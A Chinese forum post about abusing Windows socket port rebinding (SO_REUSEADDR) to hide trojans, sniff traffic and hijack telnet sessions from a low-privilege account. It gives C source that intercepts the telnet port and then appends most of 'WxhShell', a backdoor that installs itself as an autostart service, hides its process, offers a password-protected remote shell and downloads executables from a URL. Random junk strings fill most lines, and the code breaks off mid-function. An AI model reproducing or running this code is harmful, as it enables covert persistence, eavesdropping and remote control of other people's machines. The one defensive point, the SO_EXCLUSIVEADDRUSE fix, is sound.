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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J4"A6`O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AT+ l%%   
&6C]| 13;  
  saddr.sin_family = AF_INET; tq~4W% p/  
2J{vfF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )c&ya|h  
6)ibXbH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6u#eLs  
Y.) QNTh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d,N6~?B  
-(F} =o'  
  这意味着什么?意味着可以进行如下的攻击: B1J,4  
yf0v,]v[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pi~5}bF!a  
as]M%|/-I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Im\ ~x~{  
z,$uIv}'@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S6(48/  
 @--"u_[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |'1.a jxw  
Jz>P[LcB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (*P`  
;akW i]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3vcyes-U  
Pg8boN]}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 km C0.\  
;l _b.z0^6  
  #include 6WQN !H8+^  
  #include z[1uub,)1  
  #include :d9GkC  
  #include    T)sIV5bk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   yNXYS  
  int main() O5vfcX4>  
  { krFp q;  
  WORD wVersionRequested; y705  
  DWORD ret; 2w3LK2`ZL  
  WSADATA wsaData; i KQj[%O  
  BOOL val; u-|%K.A  
  SOCKADDR_IN saddr; >oWPwXA  
  SOCKADDR_IN scaddr; D{Nd2G  
  int err; n]Yz<#  
  SOCKET s; }a[]I%bu 2  
  SOCKET sc; XWAIW= .  
  int caddsize; Ewp2 1  
  HANDLE mt; B G\)B  
  DWORD tid;   z^`4n_(Ygu  
  wVersionRequested = MAKEWORD( 2, 2 ); @,e o*  
  err = WSAStartup( wVersionRequested, &wsaData ); " Ot%{&:2  
  if ( err != 0 ) { VD7-;  
  printf("error!WSAStartup failed!\n"); esA^-$  
  return -1; |(*btdqy3  
  } I+;e#v,%U  
  saddr.sin_family = AF_INET; (E@;~7L  
   Cip|eM&l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yg '(  
L`K)mCr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0.wF2!V.  
  saddr.sin_port = htons(23); D((/fT)eD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Aqv*<1=62  
  { -XL? n/M  
  printf("error!socket failed!\n"); /nA>ox78  
  return -1; &$CyT6mb^  
  } G@D;_$a  
  val = TRUE; eWm'eO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <:/aiX8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v"(6rZsa  
  { #S/~1{   
  printf("error!setsockopt failed!\n"); hlV(jz  
  return -1; p+b9D  
  } =v\}y+ Yh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /_cpS q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 2& Hl wpx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6zU0 8z0-  
rtvLLOIO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |>j^$^l~  
  { Et*LbU  
  ret=GetLastError(); "7+^`?  
  printf("error!bind failed!\n"); dfVI*5[Z  
  return -1; ( zm!_~1  
  } V4"o.G3\o  
  listen(s,2); st"@kHQ3  
  while(1) :%mls Nw  
  { 7YTO{E6]d\  
  caddsize = sizeof(scaddr); TTj] _R{n  
  //接受连接请求 Q_,!(N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L!33`xef'  
  if(sc!=INVALID_SOCKET) -M]/Xv]  
  { iWW!'u$+I`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); u SZfim@Z7  
  if(mt==NULL) i`CNgScF>  
  { N|>MqH,Bt  
  printf("Thread Creat Failed!\n"); E.:eO??g  
  break; w].DLoz  
  } kp[&SKU c  
  } 7]L}~  
  CloseHandle(mt); NPBOG1q%  
  } +gndW  
  closesocket(s); C|FI4/-e  
  WSACleanup(); ;+f(1=x  
  return 0; j/uMSE  
  }   epk C '  
  DWORD WINAPI ClientThread(LPVOID lpParam) : LX!T&  
  { o%]b\Vl6  
  SOCKET ss = (SOCKET)lpParam; j y p.2c  
  SOCKET sc; DP*V|)  
  unsigned char buf[4096]; Sb?v5  
  SOCKADDR_IN saddr; K~UT@,CS60  
  long num; iuEe#B;!  
  DWORD val; PB8U+  
  DWORD ret; E(S$Q^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :Oj!J&A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;2BPEo>z9  
  saddr.sin_family = AF_INET; P&o+ut:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @d3yqA  
  saddr.sin_port = htons(23); 3WkrG.$[b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,0Udz0  
  { REJBm  
  printf("error!socket failed!\n"); }darXtZKkK  
  return -1; 9ys[xOh WM  
  } >> -{AR0  
  val = 100; `o+J/nc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "NSY=)fV  
  { Jn0L_@  
  ret = GetLastError(); Fok`-U  
  return -1; SV2\vby}C  
  } ~ebm,3?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1RQM-0W,  
  {  ,8p-EH  
  ret = GetLastError(); S^e e<%-  
  return -1; 0F 4%Xz  
  } 1@]gBv<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5X-d,8{w _  
  { H0lAu]~R_W  
  printf("error!socket connect failed!\n"); 7&|&y SCu  
  closesocket(sc); !Cm9DzG  
  closesocket(ss); .#e?[xxk  
  return -1; &eg@Z nPn  
  } x2]chN  
  while(1) jA%R8hdr_  
  { .YS48 c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8`b_,(\N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ =O;Lz$x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :bp8S@  
  num = recv(ss,buf,4096,0); bb`DyUy ^+  
  if(num>0) ve/|"RB  
  send(sc,buf,num,0); Z=s]@r  
  else if(num==0) #k)J);&ZA  
  break; 8g_GXtn(z  
  num = recv(sc,buf,4096,0); /Q9iO&Vu  
  if(num>0) @2A&eLw LH  
  send(ss,buf,num,0); Z oKXao  
  else if(num==0) Bd13p_V"6  
  break; j=b-Y  
  } #5IfF~* i  
  closesocket(ss); i'Q 4touy  
  closesocket(sc); 9;pD0h|  
  return 0 ; :?gk =JH:  
  } Q;p% VQ  
CM%;r5  
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========================================================== za4:Jdr  
UbwD2>  
下边附上一个代码,,WXhSHELL 0_map z  
H 4W4# \M  
========================================================== n<7R6)j6  
QW@`4W0F  
#include "stdafx.h" G?yG|5.pU  
@z.HyQ_v  
#include <stdio.h>  A,|lDsvM  
#include <string.h> ->YF</I  
#include <windows.h> a: OuDjFp  
#include <winsock2.h> EtvYIfemr  
#include <winsvc.h> ^pa -2Ao6  
#include <urlmon.h> K06&.>v_  
Q|HOy8O}Z  
#pragma comment (lib, "Ws2_32.lib") &f>1/"lnd\  
#pragma comment (lib, "urlmon.lib") KA0_uty/T  
uQg&A`4  
#define MAX_USER   100 // 最大客户端连接数 cLnvb!g'#  
#define BUF_SOCK   200 // sock buffer h)C `w'L  
#define KEY_BUFF   255 // 输入 buffer ZNbb8v  
4^BHJOvs  
#define REBOOT     0   // 重启 NA8$G|.?  
#define SHUTDOWN   1   // 关机 wn{DY v7B  
mOi 8W,2  
#define DEF_PORT   5000 // 监听端口 {BJn9B  
J{5&L &4  
#define REG_LEN     16   // 注册表键长度 GCA?sFwo>  
#define SVC_LEN     80   // NT服务名长度 |/35c0IM  
{d,~=s0T  
// 从dll定义API 'd 6z^Z6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A@lY{e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z\M8DZW8Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7q _.@J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m:XMF)tW  
ghqq%g  
// wxhshell配置信息 !@-g9z  
struct WSCFG { KF`@o@,  
  int ws_port;         // 监听端口 zz+[]G+"2m  
  char ws_passstr[REG_LEN]; // 口令 )y}W=Q>T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4~/3MG  
  char ws_regname[REG_LEN]; // 注册表键名 T]Eg9Y:+v  
  char ws_svcname[REG_LEN]; // 服务名 zc#aQ.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5S ?+03h~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [S!_ubP5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )o8]MWT\;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pO_L,~<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ({AqL#x`u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | sio:QP  
=XT}&D6  
}; "V/6 nuCo  
j5>3Td.  
// default Wxhshell configuration v= I 'rx  
struct WSCFG wscfg={DEF_PORT, 07L 1 "  
    "xuhuanlingzhe", /"<o""<]  
    1, 7Z<ba^r}  
    "Wxhshell", 6>Szxkz  
    "Wxhshell", >A;9Ee"&  
            "WxhShell Service", /? j vv&  
    "Wrsky Windows CmdShell Service", H|0GRjC  
    "Please Input Your Password: ", AlRng& o~  
  1, IvyBK]{|  
  "http://www.wrsky.com/wxhshell.exe", `by\@xQ)  
  "Wxhshell.exe" 5b2_{6t  
    }; tk <R|i  
eO:wx.PW  
// 消息定义模块 IZkQmA=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^/kn#1H7&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qj5V<c;h%W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +MfdZD  
char *msg_ws_ext="\n\rExit."; Sc zYL?w^  
char *msg_ws_end="\n\rQuit."; GwoN=  
char *msg_ws_boot="\n\rReboot..."; le-Q&*  
char *msg_ws_poff="\n\rShutdown..."; ,D`iV| (  
char *msg_ws_down="\n\rSave to "; IPhV|7  
5h2@n0  
char *msg_ws_err="\n\rErr!"; _#/zH~V%  
char *msg_ws_ok="\n\rOK!"; @dzO{)  
KGsH3{r  
char ExeFile[MAX_PATH]; 5 5_#?vw  
int nUser = 0; }t[?g)"M#-  
HANDLE handles[MAX_USER]; Y&Sk/8  
int OsIsNt; VY5/C;0^h  
KPOr8=Rc  
SERVICE_STATUS       serviceStatus; _cY!\'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kf$%C"  
TYQ7jt0=.-  
// 函数声明 9_z u*  
int Install(void); ,5_Hen=PI  
int Uninstall(void); g= ql 3N  
int DownloadFile(char *sURL, SOCKET wsh); ./009p  
int Boot(int flag); {\Eqo4A5}  
void HideProc(void); ul$^]ZWkI  
int GetOsVer(void); .(0'l@#fT  
int Wxhshell(SOCKET wsl); xmEmdOoD  
void TalkWithClient(void *cs); #q"^6C 5  
int CmdShell(SOCKET sock); ;9r`P_r  
int StartFromService(void); 2%'iTXF  
int StartWxhshell(LPSTR lpCmdLine); Xk_xTzJ  
%!G]H   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S WYIQ7*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;:[!I]E0  
2?9SM@nAY  
// 数据结构和表定义 q7 ;TdQ  
SERVICE_TABLE_ENTRY DispatchTable[] = $Xf gY1S  
{ 9w Pc03a  
{wscfg.ws_svcname, NTServiceMain}, B%c):`w8]  
{NULL, NULL} ;L5'3+U  
}; n'yC-;  
SJRiMR_F~  
// 自我安装 f<V#Yc(U }  
int Install(void) :1eJc2o  
{ y^#jM  
  char svExeFile[MAX_PATH]; 8#9 di  
  HKEY key; L)5YX-?  
  strcpy(svExeFile,ExeFile); Jbud_.h9  
J3oj}M*  
// 如果是win9x系统,修改注册表设为自启动 DL5`A?/  
if(!OsIsNt) { <wt#m`Za  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #4ZDY,>Xi#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t UJ m}+=>  
  RegCloseKey(key); J1^6p*]GX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R)AFaP |  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ub%al D  
  RegCloseKey(key); o!`.LL%  
  return 0; !}D!_z,)u  
    } +)#d+@-  
  } P~V0<$C  
} q^ {Xn-G  
else { pv.0!a/M  
=gCv`SFW  
// 如果是NT以上系统,安装为系统服务 bY4~\cP.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =rV*iLy  
if (schSCManager!=0) xD}ha  
{ 2},|RQETy  
  SC_HANDLE schService = CreateService dF2 &{D"J  
  ( ef\Pu\'U  
  schSCManager, /;t42 g9w  
  wscfg.ws_svcname, @aU%1h5W;l  
  wscfg.ws_svcdisp, 4+t9"SD  
  SERVICE_ALL_ACCESS, Ds4n>V,o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w`(EW>i  
  SERVICE_AUTO_START, FnN@W^/z  
  SERVICE_ERROR_NORMAL, 85rXm*Df  
  svExeFile, d&: ABI  
  NULL, v,N*vqWS  
  NULL, .z u0GsU=  
  NULL, VjbRjn5LI  
  NULL, }Z MbTsm  
  NULL ~7Ey9wRkD  
  ); aVI/x5p~  
  if (schService!=0) zPp?D_t  
  { *]Nd I  
  CloseServiceHandle(schService); 7]t$t3I`  
  CloseServiceHandle(schSCManager); q<L>r?T[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NPws^  
  strcat(svExeFile,wscfg.ws_svcname); -hav/7g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y_3 {\g|x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uFDJRQJ<  
  RegCloseKey(key); %oas IiO  
  return 0; 'u }|~u?m  
    } ;iJ*.wVq  
  } F V8K_xj  
  CloseServiceHandle(schSCManager); M),i4a?2  
} wu5]S)?*  
} Pa%;[hbn  
&?m|PK)I  
return 1; 9NTBdo%u  
} @ !0@f'}e  
fcd\{1#u  
// 自我卸载 eRkvNI  
int Uninstall(void) -~O7.E(ok  
{ o}&TFhT  
  HKEY key; ,E{z+:Es  
RF/I*5  
if(!OsIsNt) { z;6 Tp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @^8tk3$ Y  
  RegDeleteValue(key,wscfg.ws_regname); bmT_tNz  
  RegCloseKey(key); X}.y-X#v5J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~y.{WuUD  
  RegDeleteValue(key,wscfg.ws_regname);  VP H  
  RegCloseKey(key); 8<UD#i@:C  
  return 0; l+BJh1^  
  } R}MdBE  
} \_pP:e  
} XUT,)dL  
else { E 5D5  
aqq7u5O1r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w=.w*?>  
if (schSCManager!=0) PtySPDClj  
{ %N#8D<ULd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ek|#P{!  
  if (schService!=0)  LAG*H  
  { &kKopJH  
  if(DeleteService(schService)!=0) { (| DmYn!  
  CloseServiceHandle(schService); E/mp.f2!  
  CloseServiceHandle(schSCManager); iHoQNog-!  
  return 0; \M~M  
  } !+tz<9BBY  
  CloseServiceHandle(schService); f/t1@d!  
  } &WN#HI."]  
  CloseServiceHandle(schSCManager); 7=yC*]BH-=  
} PjriAlxD  
} |=H*" (  
0PIiG-o9  
return 1; ~|+! xh  
} et|QW;*L  
#g,JNJ}  
// 从指定url下载文件 40cgsRa|  
int DownloadFile(char *sURL, SOCKET wsh) dn0?#=  
{ "L^Klk?Vn  
  HRESULT hr; 8F|8zX&  
char seps[]= "/"; eekp&H$'s  
char *token; N yT|=`;  
char *file; =ML6"jr  
char myURL[MAX_PATH]; u/?s_OR  
char myFILE[MAX_PATH]; vJ9 6qX  
iHy=92/Ww  
strcpy(myURL,sURL); KLpu7D5(|  
  token=strtok(myURL,seps); =C{)i@ +  
  while(token!=NULL) <eRE;8C-  
  { 6u>${}  
    file=token; =!{7ZSu\  
  token=strtok(NULL,seps); jt|e?1:vF  
  } EVc Ees  
fD1J@57  
GetCurrentDirectory(MAX_PATH,myFILE); @QiuCB  
strcat(myFILE, "\\"); c>+l3&`  
strcat(myFILE, file); {KJ!rT  
  send(wsh,myFILE,strlen(myFILE),0); 6 R}]RuFQ  
send(wsh,"...",3,0); JSXudz5 c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,f0|eu>  
  if(hr==S_OK) NoS|lT  
return 0; SP][xdN7  
else UFnz3vc  
return 1; Hts.G~~8  
Zcq'u jU  
} 7PG&G5  
J7:VRf|,?(  
// 系统电源模块 &Rw4ub3  
int Boot(int flag) ql, k5.l  
{ (. ~#bl  
  HANDLE hToken; bdh6ii  
  TOKEN_PRIVILEGES tkp; #rSm;'%,  
 QDCu  
  if(OsIsNt) { 0M^7#),  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b#;%TbDF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ` #Qlr+X  
    tkp.PrivilegeCount = 1; !#0Lo->OO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d?dZ=]~C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FncK#hZ.  
if(flag==REBOOT) { *?'nA{a)E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A&%vog]O  
  return 0; dh r)ra]  
} <SeK3@Gi  
else { =0,:w(Sb!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v'`VyXetl  
  return 0; )cnH %6X  
} e>`+Vk^Jc  
  } qcau(#I9.  
  else { )xgOl*D  
if(flag==REBOOT) { jd<`W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _U}pdzX?  
  return 0; A$gP: 1&m  
} Rlc$2y@pU  
else { ^ NZq1c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $X1T!i[.X  
  return 0; 8Jnb/A}  
} 5 [{l9  
} '?]B ui  
O_%X>Q9  
return 1; \.c   
} }7p`8?  
;.$AhjqiP  
// win9x进程隐藏模块 ;hP43Bi  
void HideProc(void) zu8   
{ wc?`QX}I  
.Cq'D.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )kLTyx2&  
  if ( hKernel != NULL ) W Z'UVUi8  
  { \\Ps*HN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #R2wt7vE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aLZza"W  
    FreeLibrary(hKernel); uE{r09^q\  
  } ~qFuS933  
gaFOm9y.e  
return; ?N*m2rv  
} E= 3Ui  
a,<l_#'  
// 获取操作系统版本 J1P jMb}  
int GetOsVer(void) /)6+I(H  
{ quXL'g  
  OSVERSIONINFO winfo; VX+:k.}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NP }b   
  GetVersionEx(&winfo); $tKz|H)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;+:C  
  return 1; 8YroEX[5l  
  else #-T xhwYs  
  return 0; PVfky@wl"  
} AQAZ+g(IK  
#0OW0:Q  
// 客户端句柄模块 fpd4 v|(  
int Wxhshell(SOCKET wsl) u7Z-kZ  
{ %x(||cq  
  SOCKET wsh; jVA|Vi_2  
  struct sockaddr_in client;  {yXpBS  
  DWORD myID; !vd(WKq  
b+b].,  
  while(nUser<MAX_USER) #8xP,2&zf  
{ [wp(s2=  
  int nSize=sizeof(client); ,x (?7ZW>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -^C^3pms  
  if(wsh==INVALID_SOCKET) return 1; be^+X[  
-zn$h$N4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SSCyq#dl$  
if(handles[nUser]==0) c, IAz  
  closesocket(wsh); @\ udaZc  
else _JEe]  
  nUser++; -@=As00Bg  
  } ~m`j=ot  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 42E%&DF  
EV=/'f[++  
  return 0; &k\`!T1  
} Y)V)g9  
yLpsK[)}\  
// 关闭 socket sVT:1 kI  
void CloseIt(SOCKET wsh) qYba%g9RN(  
{ x:wv#Wh:l7  
closesocket(wsh); },eV?eGj  
nUser--; t,D7X1W  
ExitThread(0); f2*e&+LjTP  
} WdtZ{H  
$"e$#<g  
// 客户端请求句柄 5t=7-  
void TalkWithClient(void *cs) @$G{t^&os  
{ 7XM:4whw  
;W~H|M  
  SOCKET wsh=(SOCKET)cs; luvxwved  
  char pwd[SVC_LEN]; "`6pF8k  
  char cmd[KEY_BUFF]; uV=ZGr#o  
char chr[1]; 8uh^%La8b.  
int i,j; ,8Eg/  
fYgEiap  
  while (nUser < MAX_USER) { rt8"U <~  
NuEcTww  
if(wscfg.ws_passstr) { uT#4"G9A[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y=HM]EH>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %]"eN{Uvn  
  //ZeroMemory(pwd,KEY_BUFF); @IE.@1  
      i=0; p;xMudM  
  while(i<SVC_LEN) { DH9p1)L'  
_&SST)Y|  
  // 设置超时 A>9I E(C_  
  fd_set FdRead;  Iz_#wO  
  struct timeval TimeOut; &x"hM  
  FD_ZERO(&FdRead); 6<t<hP_3O  
  FD_SET(wsh,&FdRead); 8T523VI  
  TimeOut.tv_sec=8; ka c-@  
  TimeOut.tv_usec=0; qh~$AJ9sB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +o3 ZQ9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9z'(4U  
*8%nbR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '.gLqm}%  
  pwd=chr[0]; mb GL)NI  
  if(chr[0]==0xd || chr[0]==0xa) { yg WwUpY  
  pwd=0; FlyRcj  
  break; z km#w  
  } -`cNRd0n  
  i++; Z,_EhEm  
    } Y 8Dn&W  
nvInq2T 1  
  // 如果是非法用户,关闭 socket APUpqY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &iTTal.6  
} MhDPf]` Gg  
J ]ri|a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q$^)z_jai  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -n"7G%$M  
w678  
while(1) { 0Qr|!B:+9)  
q,>-4Cm  
  ZeroMemory(cmd,KEY_BUFF); @v~<E?Un  
w,zm$s^  
      // 自动支持客户端 telnet标准   pY$DOr- r`  
  j=0; f\u5=!kjN  
  while(j<KEY_BUFF) { MA+{7 [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nd)`G$gL  
  cmd[j]=chr[0]; jBr3Ay@<  
  if(chr[0]==0xa || chr[0]==0xd) { .22}= z  
  cmd[j]=0; 'GF<_3I2l  
  break; BK 9+fO  
  } dF+R q|n{  
  j++;  __Egr@  
    } gg?O0W{  
LZ4Z]!V  
  // 下载文件 _]Y9Eoz  
  if(strstr(cmd,"http://")) { vSv:!5*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f>[!Zi*  
  if(DownloadFile(cmd,wsh)) QD*\zB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5?HoCz]l  
  else z^Y4:^L~I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*6 1i0  
  } Tqm)-|[  
  else { H=@S+4_bK  
y{9<>28  
    switch(cmd[0]) { [pzo[0G 'v  
  \= G8  
  // 帮助 # XeEpdE  
  case '?': { F*_ytL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >jRH<|Az  
    break; f^[u70c82  
  } w)<h$ <tU  
  // 安装 F3=iyiz6  
  case 'i': { AiUK#I  
    if(Install()) Y;1J` oT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nV_[40KP_  
    else ^$;5ZkQy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=p^@N7  
    break; .B_a3K4'{^  
    } YPmgR]=6  
  // 卸载 (i@B+c  
  case 'r': { ?UBhM,;XK  
    if(Uninstall()) &d6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IJ2>\bW_p  
    else f}:W1&LhI?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \w=*:Z  
    break; qM9> x:V  
    } ]}9D*V  
  // 显示 wxhshell 所在路径 aMO+ y91Y(  
  case 'p': { - -ZSl  
    char svExeFile[MAX_PATH]; %&&;06GU}  
    strcpy(svExeFile,"\n\r");  MuP&m{  
      strcat(svExeFile,ExeFile); gPY Cw?zQ  
        send(wsh,svExeFile,strlen(svExeFile),0); gVN&?`k*?  
    break; kWxcB7)uk  
    } (R^Ca7F  
  // 重启 ;#n+$Q#:  
  case 'b': { 8gXf4A(N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~Aoo\fN_U  
    if(Boot(REBOOT)) Ji;R{tZ.R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8+8P{_  
    else { D`@*udn=  
    closesocket(wsh); ,7^,\ ,-m  
    ExitThread(0); -3|i5,f  
    } }^Ky)**  
    break; Z:Nm9m  
    } /u pDbP.O  
  // 关机 h%!N!\  
  case 'd': { YnwP\Arfq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C^9bur/  
    if(Boot(SHUTDOWN)) la*c/*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wKj0vMW  
